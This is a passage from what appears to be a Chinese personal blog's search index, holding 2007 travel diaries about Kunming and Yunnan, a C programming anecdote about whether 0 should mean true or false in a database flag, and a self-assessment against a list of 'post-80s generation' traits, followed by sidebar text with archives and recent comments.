是著名的昆明饭店。\n昆明饭店\n一直走到拓东路与白塔路的交叉口，坐62路向西到’金马坊’站下车，下车就是金碧广场了，金马坊和碧鸡坊两座坊就都呈现你眼前了。这个地方正处在市中心，应该是昆明商业最繁华的地区了，人流车流都很大，商场林立，北面就是三市街，一条步行街。在夕阳的照映下，金马坊还真是金壁辉煌，相比之下碧鸡坊暗淡一些，因为太阳已经快要落下了。\n昆明金碧广场\n昆明金马坊\n昆明碧鸡坊\n广场也没有什么其他的值得留恋的地方，除了人还是人，去步行街逛逛，步行街很有特色，中央有很多景观和绿化。如果是女生估计会很是欢喜，因为两旁都是专卖店和大商场，我对这些可是不感兴趣。\n昆明三市步行街之’忠爱坊’\n这条叫三市街的步行街背面还是一条很长的步行街，古色古香，两旁也不是大商场，在这样的街上逛才是真正的休闲。在两旁的宣传栏上写的都是’昆明老街’，但是我却找不到’昆明老街’的街牌，只是看到一个’正义路’的路牌，在正义路头上还有一个标志性坊-’正义坊’。在一条与正义路正交的小巷中全是小吃和云南特色产品小商铺，我也在这买了一份’饵块’，不贵，吃起来也谈不上什么滋味儿。\n昆明正义路步行街\n昆明正义路之’正义坊’\n在正义路可以坐133到翠湖，就两站地，等了半天也没来一辆，我决定溜达过去。大概走了15分钟吧，到了翠湖东门。现在是昆明的干旱期，翠湖的部分已经干涸，露出了湖底，让我很是失望。这时天色已晚，我的相机拍摄夜景效果不好。\n昆明翠湖一角\n昆明唐堤\n昆明翠湖之海心亭石碑\n昆明翠湖公园内的小动物\n忘记了从哪个门出来的了，这个门斜对面是’云南陆军讲武堂旧址’，随便也留下一张备以后回忆的。\n云南陆军讲武堂旧址\n昆明真的不大，不到3个小时，我就把市中心主要景点给游完了。不过还好，昆明景点多呀，还有好多等着我呢，唉，就是没时间。\n","permalink":"https://tonybai.com/2007/01/24/impressions-of-kunming-golden-horse-green-chicken-lane-and-green-lake/","summary":"\u003cp\u003e昆明市中心有两个的景点，一个市金马碧鸡坊，另一个就是翠湖了，像这样的景点都是走马观花的看看即可的，不用花很长时间细致观赏的。昆明白天长，所以下班后我就去了这两个景点。\u003c/p\u003e","title":"昆明印象·金马碧鸡坊和翠湖"},{"content":"整整在酒店里对着电脑工作了一天，弄得头昏脑胀。晚饭后看时间尚早，才19点过些，昆明正处于从昼到夜的过渡期，而这个时候昆明以外的各大城市早已进入茫茫黑夜了。昆明号称彩云之城，每年白昼时间在国内是位居前列的。我决定到街上走走，欣赏一下昆明的夜景。\n这个时间昆明的街头仍然很是喧闹，很多人选择饭后到街上走走，而且今天外面的气温很适宜外出，不冷不热。我出了酒店正门就沿着白塔路向北走，也不是没有目的的，走的过程中留心一下公交站牌，看看去各大景点的路线，以做到心中有数，这样周末玩起来效率更高^_^。\n昆明不愧为旅游城市，马路两旁商铺多，宾馆多。记得上次打车，司机还在说由于1999的世博会，昆明建了好多宾馆，世博会结束后，宾馆的日子并不好过，特别是淡季，很多宾馆为了招揽生意主动’降星’，赚得少总比没钱赚的要好。昆明不大，走几分钟就到了人民东路，我初步打算走一个圈，最后回到宾馆，所以就沿着人民东路向西走。城市几乎都是大同小异的，我左顾右盼，看看这个看看那个试图找到能体现出昆明本地特色的东西，也许是在城市，所以很失望没有什么让我感到特别好奇，除了一些特色的水果，小吃，百年老店还能让我认识到这是在昆明。继续沿着人民东路向西走，路旁一家大书店让我止住步伐，细致一看原来是’云南新华图书城’，本来不打算走进去，可是看到门上写的营业时间最晚到21:30，我就决定进里面逛一遭儿，主要是想看看旅游方面的书籍。说实话这个书店真的很不错，共5层，书分门别类很是齐全，估计也是云南首屈一指的书店了吧，这种书店也只有省会城市才会有的。虽然时间已晚，但是书店里还是有不少读者沉迷在书海里。\n云南新华图书城夜景\n我在’旅游’图书区找到一本’中国自助游’，第一印象很好，就翻到昆明自助游篇，就找到了我急需的信息，毫不犹豫的把它买下了。\n中国自助游一书\n走到人民西路后，发现这块是一片商业区，坐落着许多百货商场和品牌专卖店，灯光比其他区域要亮，人流也较其他地方多。\n昆明人民西路夜景\n昆明人民西路与青年路交叉口的百盛商场\n在昆明人民西路与青年路的交叉口，我开始向南走，即沿着青年路走，整条青年路上都是专卖店，除了不是步行街，其余的和各大城市的商业步行街没什么区别。到青年路与东风东路的交叉口，我又向左转，这样才构成闭环，才能回到我住的酒店。\n昆明青年路与东风东路交叉口的新世界百货\n沿着东风东路向东走不远就是一个广场，广场南面其实是昆明工人文化宫，这里很漂亮，有喷泉，有绿地，很多人在这驻足拍照、嬉戏、聊天休息。这个广场应该是东风广场，从地图上看应该是，不确定。\n昆明工人文化宫前面的广场夜景1\n昆明工人文化宫前面的广场夜景2\n昆明工人文化宫前面的广场的广场喷泉1\n昆明工人文化宫前面的广场的广场喷泉2\n昆明工人文化宫前面的广场的广场喷泉3\n自助游那本书上推荐到’和平新村’或者是’昆都商场’附近去体会昆明人的夜生活，我压根不知道这两个地方在哪，也许离我住的地方较远，也许以后有机会再去体验。\n","permalink":"https://tonybai.com/2007/01/23/impressions-of-kunming-night/","summary":"\u003cp\u003e整整在酒店里对着电脑工作了一天，弄得头昏脑胀。晚饭后看时间尚早，才19点过些，昆明正处于从昼到夜的过渡期，而这个时候昆明以外的各大城市早已进入茫茫黑夜了。昆明号称彩云之城，每年白昼时间在国内是位居前列的。我决定到街上走走，欣赏一下昆明的夜景。\u003c/p\u003e","title":"昆明印象·夜"},{"content":"今天是来昆明后的第一个工作日，昨晚睡的较晚，早上近九点才起来，拿着早餐卷去吃早餐-煎鸡蛋、牛奶、肉包子、炒饭、腊肉、粥等，天下酒店早餐都一个样。昆明的早上还是很凉的，毕竟是高原昼夜温差大，看天气也雾蒙蒙的，有点像长沙，有些失望。下午2点到云南省移动开会，先回房准备资料。\n下午和同事一出门，一阵和煦的风扑面而来，这让我这个从寒冷北方来的很是诧异，以为春天到了似的。天气也和早晨大不相同了，天瓦蓝瓦蓝的，和沈阳有一拼，阳光足的很，唯一缺点就是高原紫外线强了些。走在大街上身上暖洋洋的，我身上还穿着毛衣毛裤，略有些热，但很是舒服。在北半球寒冷的冬季，能让人感到舒服的城市为数不多呀。春城就是春城，真是四季如春呀。\n从酒店到移动路不算远，都处于市中心区域，昆明市不大(听TAXI司机如是说)，但是中心区域的路不算太宽，自行车和电动车也占了很宽的空间，这在沈阳是没有的。昆明还有一个特点就是干净，不知道这样说有没有一页掩目之嫌，因为我去的地方不多，就在市区这块转悠，不了解周边，但是市区里绝对是很干净，我走这一路没看到路面上有什么脏东西。在这个冬季里昆明的路两旁植被还是那么的绿，颇有些让人心旷神怡。\n昆明是一个旅游城市，满街的大大小小的精美的广告牌展示着云南的美景胜地。昆明城市小，路不宽，直接导致一个后果就是交通高峰期堵车，今天我算是见识了，在北京路、东风路上堵得十分了得。任何一个城市都不能十全十美，希望昆明的交通情况能尽快改善。\n今天的所见所闻，还不能代表什么，毕竟春城独特的城市文化通过一天的观察是不可能体会到位的，以上算是第一印象吧，还不错^_^。\n","permalink":"https://tonybai.com/2007/01/22/impressions-of-kunming-city/","summary":"\u003cp\u003e今天是来昆明后的第一个工作日，昨晚睡的较晚，早上近九点才起来，拿着早餐卷去吃早餐-煎鸡蛋、牛奶、肉包子、炒饭、腊肉、粥等，天下酒店早餐都一个样。昆明的早上还是很凉的，毕竟是高原昼夜温差大，看天气也雾蒙蒙的，有点像长沙，有些失望。下午2点到云南省移动开会，先回房准备资料。\u003c/p\u003e","title":"昆明印象·城市"},{"content":"一提到云南，想必很多人都会联想到’香格里拉’、’玉龙雪山’、’西双版纳’、’石林’、’滇池’、’丽江’、’大理’等等诸多耳熟能详的名词，这些地方不用去看，想着想着就会让你有一种热血沸腾的感觉，还好这次有机会到云南出差，虽然不能尽情享受云南的大好风光，但是能亲身到这感受一下这里的风土人情也是不错的吗。云南不仅景色美，吃的也很有特色哟，名满全国的过桥米线，气锅鸡等让我想起来就流口水，这次一定不能放过机会，一定要吃吃正宗的云南风味儿^_^。\n周六沈阳的天气还好的不得了，周日天气急转直下，下起了大雪。桃仙机场上午10点半才开放，机场高速指到我到了机场还依然封闭着，毫无疑问了，’等’就一个字。下午14点的飞机，结果一直到17点才登机起飞。机场滞留了很多旅客，每个人脸上都显出焦急的神色，由于航班都乱了，登记口也是乱调了一气，我乘的那次航班登记口就换了三次，从5号到1号，最终换到了2号。下午一点我就到了机场，显然是去’早’了，百无聊赖的等了4个小时，闲来无事，拿着手机乱拍了一些^_^。\n桃仙机场候机时’捉影’之小机待’哺’\n桃仙机场候机时’捉影’之一号候机厅\n16:15东航MU5824进港，16:40终于可以登机了，大家焦急的心情终于可以放下了。我提着行李步入机舱，我的座位靠窗，静静坐下，趁飞机未起飞前，再拿着手机拍拍，视野有限，只能拍机’翅膀’了^_^\n桃仙机场-MU5824之机’翅膀’\n在机场等久了，腹中空空，坐在飞机中饥饿感更强烈了，可惜飞机不提供’午餐’，只有一袋饼干，勉强对付吧。飞机经停河南新郑机场，在空中飞行了一小时40分钟，等到新郑机场已经晚上19点了。新郑机场的设施真是不怎么好，候机厅太小，座位看起来有些像老火车站的那种，应该重新修缮修缮了。\n新郑机场-MU5824\n从郑州到昆明距离可不近，要在空中飞两个半小时左右，这次终于提供晚餐了，不过晚餐一般，连水果都没有，不是很满意。吃完东西就开始睡，真的有些累了。空姐甜美的声音把我唤醒，昆明巫家坝国际机场到了。收拾行李下飞机，一走一过发现昆明机场还是不错，在到达通道的各个景点的宣传牌，让我感受到了这个旅游大省的雄厚旅游资本。从’国内到达’出去，询问机场大巴在什么地方，得到的答案是太晚了没有了。心想不坐大巴，打的又要花好多钱而且自付。在机场停车场好多taxi司机主动上门服务，而且给出了一口价，到我的目的地，昆明春城之星-机械宾馆要30元，我一听心里就想怎么这么便宜，难道昆明机场不在郊区在市区，司机的答案证实了我的想法。呵呵，既然在市区就更不坐他的’黑车’了。前走没多远就是马路，随意叫了一辆taxi，到达机械宾馆才16元，看来以后出门一定不要轻信机场，火车站那些司机的话，小心被黑^_^。\n春城之星-机械宾馆虽然级别不高，但是环境还是不错的，我订了一间大床房，价格还算划算，赠早餐，总之第一感觉还不错。\n昆明机械宾馆-大床房1\n昆明机械宾馆-大床房2\n刚刚迈完了云南行的第一步，现在的任务呢就是好好休息，养精蓄锐，那么多秀美的景点等着我呢，呵呵，当然在保证工作顺利完成的情况下。^_^\n","permalink":"https://tonybai.com/2007/01/22/a-trip-to-yunnan/","summary":"\u003cp\u003e一提到云南，想必很多人都会联想到’香格里拉’、’玉龙雪山’、’西双版纳’、’石林’、’滇池’、’丽江’、’大理’等等诸多耳熟能详的名词，这些地方不用去看，想着想着就会让你有一种热血沸腾的感觉，还好这次有机会到云南出差，虽然不能尽情享受云南的大好风光，但是能亲身到这感受一下这里的风土人情也是不错的吗。云南不仅景色美，吃的也很有特色哟，名满全国的过桥米线，气锅鸡等让我想起来就流口水，这次一定不能放过机会，一定要吃吃正宗的云南风味儿^_^。\u003c/p\u003e","title":"云南，我来了!"},{"content":"这个故事源于今天测试组测出的一个BUG，BUG被测试人员转给了我，故事便从这里开始了。\n我们的系统是一个后台服务器程序，用C写的，运行在Solaris上，数据存储在数据库中，每次系统启动都要从数据库中读取配置数据。系统根据配置数据对输入的消息数据进行处理。今天的这个BUG现象就是对于一定的输入消息，系统根据配置数据的指导进行处理，结果得到的结果本应该是A，但是却得到了B。\n首先咱抱着谨慎负责的态度，先从头到尾，再从尾到头检查自己的程序是否有漏洞或者疏忽大意之处，许久后，未发现问题，疑惑中，怎么经过我的程序这么一番处理，结果就是这样呢？\n由于测试数据较简单，所以我对照着数据库中的数据，然后用输入消息数据在我脑子中根据程序的处理步骤人工处理了一次，终于发现了一处’不和谐的音符’。我发现数据库中一业务层配置表中的一字段的数据值有出入，赶忙打开数据库设计报告查看，一找一个准儿，问题就在这儿。\n这个表中的这个字段的含义是’是否为默认项’，数据库设计报告中其值的定义是这样的：0 – 默认项；1 – 非默认项。首先我不去评论数据值设计是否合理，我们先来看看程序是如何处理的。\nint is_default_item;\n…..\nif (is_default_item == 1) {\n/* 按照默认项处理 */\n} else {\n/* 按照非默认项处理 */\n}\n看到这所有人都能看出问题所在了，没错，程序里想当然的以为’1′就是默认项，其他就是’非默认项’了。虽然问题找到了，但是我的心里却有了嘀咕，到底是谁错了，这个问题很显然有两个改法，一个是程序修改’1′-\u0026gt;’0′；另一个是数据库修改，让1代表默认项。首先这里我要说我不是数据库设计的高手，可以说我自己没做过相关的数据库设计，数据库表中各字段取值设计有无经验可循我也不是很清楚。写到这可以把故事升华一下，升华成一个问题，也就是本篇的题目-0到底是’TRUE’还是’FALSE’?，这里的’TRUE’和’FALSE’并不仅仅代表真与假，而是代表更广义的含义，比如’TRUE’我们可以理解为’成功’、’正确’、’与预期目标一致’等；’FALSE’则可理解为’失败’、’错误’、’与预期目标不一致’等。\n在UNIX上用C写过系统程序的人可能清楚Unix提供的API多以返回0代表调用成功，这就是一个典型的0表示’TRUE’的例子，这种返回值方式也被很多人用于程序设计中；在我们自己实现的底层库中，我们同样遵循了这样一种方式。还就我们上述的问题而言，数据库设计中’0′代表’默认项’是否就一定合理呢，相信也是见仁见智的问题；但是从程序角度，你认为：\nif (is_default_item == 1) {\n/* 按照默认项处理 */\n} else {\n/* 按照非默认项处理 */\n}\n更合逻辑还是\nif (is_default_item == 0) {\n/* 按照默认项处理 */\n} else {\n/* 按照非默认项处理 */\n}\n更合逻辑一些呢？起码我觉得第一种比较符合逻辑一些，代码可读性好些。当然如果按照下面的使用manifest constant的方式处理会比直接用literal constant更好些^_^，这样无论用0还是用1代表’默认项’起码从代码里都是逻辑通顺的，可读性好的。\n#define DEFAULT_ITEM 1\nif (is_default_item == DEFAULT_ITEM) {\n/* 按照默认项处理 */\n} else {\n/* 按照非默认项处理 */\n}\n这个故事叙述到这就结束了，故事没有完，因为它在我们日常生活工作中还会时常发生，0是’TRUE’还是’FALSE’，把决定权留给大家^_^。\n","permalink":"https://tonybai.com/2007/01/17/zero-is-true-or-false/","summary":"\u003cp\u003e这个故事源于今天测试组测出的一个BUG，BUG被测试人员转给了我，故事便从这里开始了。\u003c/p\u003e\n\u003cp\u003e我们的系统是一个后台服务器程序，用C写的，运行在Solaris上，数据存储在数据库中，每次系统启动都要从数据库中读取配置数据。系统根据配置数据对输入的消息数据进行处理。今天的这个BUG现象就是对于一定的输入消息，系统根据配置数据的指导进行处理，结果得到的结果本应该是A，但是却得到了B。\u003c/p\u003e","title":"工作中的故事-0是'TRUE'还是'FALSE'？"},{"content":"在公司内网论坛上看到一个讨论型帖子-\u0026lsquo;80后\u0026rsquo;的特质(80后:泛指上世纪80年代出生的一代人)，我是82年生人，虽非很典型，但是总算是这个范围内的人，仔细的瞧了一下该帖的内容，作了一次\u0026rsquo;对号入座\u0026rsquo;。\n特质：打折卡比银行卡多\n银行卡的意义在于证明你赚钱了；打折卡的意义在于证明你花钱了。\n– 我想这个特质，80后的女生们拥有的更多一些吧；除了打折卡外，商场、餐厅的会员卡、贵宾卡也不在少数。弄得钱包或者手包鼓鼓囊囊的。\n特质：不用皮革钱包\n皮革钱包意味着很久才还一个，意味着颜色单一，意味着钱包比里面的钱还贵，意味着不能随便换掉。\n– 我的是Nike的运动钱包，黑色表皮，红边，很好看的，就是有些大，夏天携带不是很方便。^_^\n特质：服装店老板会发短信告诉你新货上市\n谁还去百货公司、大卖场买衣服？每个人必须有自己独特的服装取向，自己所钟爱的服装专卖店。\n– 自己算是有自己的服装去向吧，一般大商场都会定期发促销活动短信到手机上的，因为GF在办会员卡的时候留下了手机号。\n特质：喝一种品牌的饮料\n百事可乐、可口可乐、午后红茶、胡萝卜汁……选准一种，一直喝下去，直到看见这种饮料就会想起你。\n– 最爱白水，偶尔可口可乐。\n特质：拥有一个双肩背包\n不装东西，只为了背着。\n– 惊讶中，因为我最近一直这么做的，不过有东西还是要背的，我懒，不喜欢拎着，嫌重嫌累。\n特质：为接到\u0026quot;正装出席\u0026quot;的请柬而苦恼\n没有西装，即使有也往往只挂在衣柜里占地方，最\u0026quot;正\u0026quot;的衣服是长袖T恤衫。\n– 正在为春节前公司的音乐会犯愁，今年公司的春节联欢聚会居然加了一条：与会者着正装。\n特质：可以没有电视机，但一定要有微波炉\n电视基本不看，但微波炉除了能解决吃的问题外，还有神奇用途：冬天洗热水脸－湿毛巾放进去，1分钟搞定。\n– 微波炉太方便了，热菜不用刷锅^_^。我是典型爱做菜但是不爱洗涮的。\n特质：如果戴眼镜，一定是扁平黑框的\n早就不是金丝边眼镜的天下了。黑胶框眼镜不仅可以是近视镜，也可以是平光镜，甚至没有镜片只戴镜框。\n– 呵呵，今年刚换的，自初中一年级以来我觉得最满意最漂亮最适合我的的一副眼睛。\n特质：在任何表面上都可以睡着，除了床以外\n经常趴在办公桌上睡觉，开会时肯定要睡觉，但上床之后总会打游戏、看碟。\n– 当然了，有床还是睡在床上舒服，最近腰背痛，不能趴在桌子上睡，疼的受不了。\n特质：使用自助办理业务\n不想排队，不想被人叫号，不想隔着嗓子说话，不想看人家的嘴脸。\n– 小钱(1W以内)都是这么做的。\n特质：使用最多的称呼是\u0026quot;同学\u0026quot;\n称呼断层的一代，只有同学才能有效地拉近陌生人之间的距离，进可攻退可守。\n– 感受不是很多，无言。\n特质：痛恨人际关系\n最好大家都在家工作，去办公室只是为了打电脑游戏、聊八卦和约饭局。\n– 的确是理想的想法，不过现实还是残酷的，勇敢面对吧。\n特质：永远对发型不满意\n发型不是身份、不是装饰，而是娱乐，不满意就改。\n– 从小到大都是一个发型，不是十分挑剔，不具备该特质。\n特质：使用所有电器都不看说明书\n写说明书的人都是白痴，看说明书的人比写说明书的人更白痴。\n– I Agree。\n特质：去24小时便利店的次数比超级市场多\n我们经常晚上出来买东西，超级市场在哪里。\n– 因人而异。\n特质：至少两周才打扫一次卫生\n让环境卫生积累到足够创造一次成就感的时候才打扫，别让乐趣变成琐事。\n– 打扫卫生看心情，大多时候需要GF的强制指令。^_^\n特质：喜欢玩小孩但不喜欢生小孩\n想想自己是怎么长大的，就知道自己负不起那个责任。\n– So do I and my GF.\n特质：永远不知道自己的钱花到哪儿去了\n其实没买什么，其实没吃什么，但钱就是不见了。\n– 看着自己的账本，一头雾水。\n特质：可能有两个手机，但没有一个座机\n座机有什么用？不要告诉我你拨号上网。\n– 白天都在工作，家里要座机干什么。\n特质：只去药店，不去医院\n我的身体我知道，去医院太麻烦。\n– 因病而异，大部分时候如此。\n特质：最恨被人夸奖成熟\n你把谁当小孩呢？\n– 对头。\n特质：早晨从中午开始\n我们的生活很有规律，只不过和你们有几个小时的时差而己。\n– 也许我的睡眠质量较高，基本9点钟以前还是起得来得。\n特质：业余爱好中必有一项是睡觉\n我们不困，就是想睡觉。\n– 我不是。\n特质：不喜欢喝酒，但每喝必醉\n不然喝酒干吗？补充体液？\n– 对酒谈不上喜欢也谈不上不喜欢，应酬的时候也喝，每次喝的也不少，但是从未醉过。\n特质：不敬酒，不敬烟\n爱喝就喝，想抽就拿，别搞得大义凛然的。\n– Me, too。\n特质：拥有一种奇怪的固执\n只穿白袜子，不带瓶装矿泉水不出门，看着鱼缸就发呆……总有一样会莫名其妙地坚持下去。\n– 商务礼仪课上讲师明确告诉，不要穿白袜子，但是就是喜欢穿，现在有所改观。\n特质：在熟人面前是话痨，在陌生人面前一言不发\n不是不爱说话，而是跟你没什么可讲。\n– 有话就说，没话就不说。\n特质：不洗脚，只洗澡\n每天洗两次以上澡还用洗脚吗？\n– 我爱泡脚，感觉泡了之后大脑清醒，做事情效率高；至于洗澡，我之前写过的一篇博\u0026rsquo;理发与洗澡之遐想篇\u0026lsquo;阐述了我的喜好。\n特质：每天都有理由开派对，除了结婚外\n派对是为了玩，但结婚不好玩，所以尽量不结婚。\n– 派对没多少，但的确认为结婚不好玩，两个人的事情两个人解决，何必找那么一堆人来呢。\n特质：认为幽默感是做人的根本\n至少也要会讲冷笑话吧。\n– 幽默应该不是缺点，我这么认为。\n特质：大假不出游\n与其人挤人，不如在家看碟。\n– 没错。\n特质：出游不给自己拍照\n宁肯拍老乡家的狗，宁肯拍人家阳台上晾的衣服，宁肯拍自己在地上的影子。\n– Absolutely right. 可是GF恰恰和我相反，哪张照片里没有她就不许照，可叹她也是80后人。\n特质：常常玩消失\n有可能是手机坏了，有可能是起床晚了，有可能只是想看看你们有什么反应。\n– 感觉不明显。\n特质：经常发呆\n因为脑子里有太多的想法，有时候不知道自己在想什么。\n– 我喜欢思考，喜欢漫无边际的思考，就因为这常常被GF指责^_^。\n特质：随便\n觉得什么都可以，什么都还行，只要方便简单，哪有那么多时间去浪费？\n– 符合我的性格。\n特质：英语的听说能力大大强于读写能力\n声称自己的英语水平很差，不过基本能听懂英语电影里的对白。\n– 不敢夸口，均衡发展。\n特质：对人的最坏评价是闷\n\u0026ldquo;闷\u0026quot;是一种抽象标准，话痨也会闷。\n– 没用\u0026rsquo;闷\u0026rsquo;评价过人。\n特质：写博，但不会呕心沥血\n写博写成论文，不如下来写论文，博客不好玩不如去死。\n– 写博上瘾，始终认为\u0026rsquo;博客\u0026rsquo;需要用心经营。\n特质：不问问题，只查Google\n给我1分钟，我就和你知道的一样多了。\n– 除了Google，中文相关的还喜欢用Baidu，虽然不太喜欢Baidu。\n结论：基本符合。\n","permalink":"https://tonybai.com/2007/01/14/how-many-80s-characters-i-have/","summary":"\u003cp\u003e在公司内网论坛上看到一个讨论型帖子-\u0026lsquo;80后\u0026rsquo;的特质(80后:泛指上世纪80年代出生的一代人)，我是82年生人，虽非很典型，但是总算是这个范围内的人，仔细的瞧了一下该帖的内容，作了一次\u0026rsquo;对号入座\u0026rsquo;。\u003c/p\u003e","title":"'80后特质'我占了多少？"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 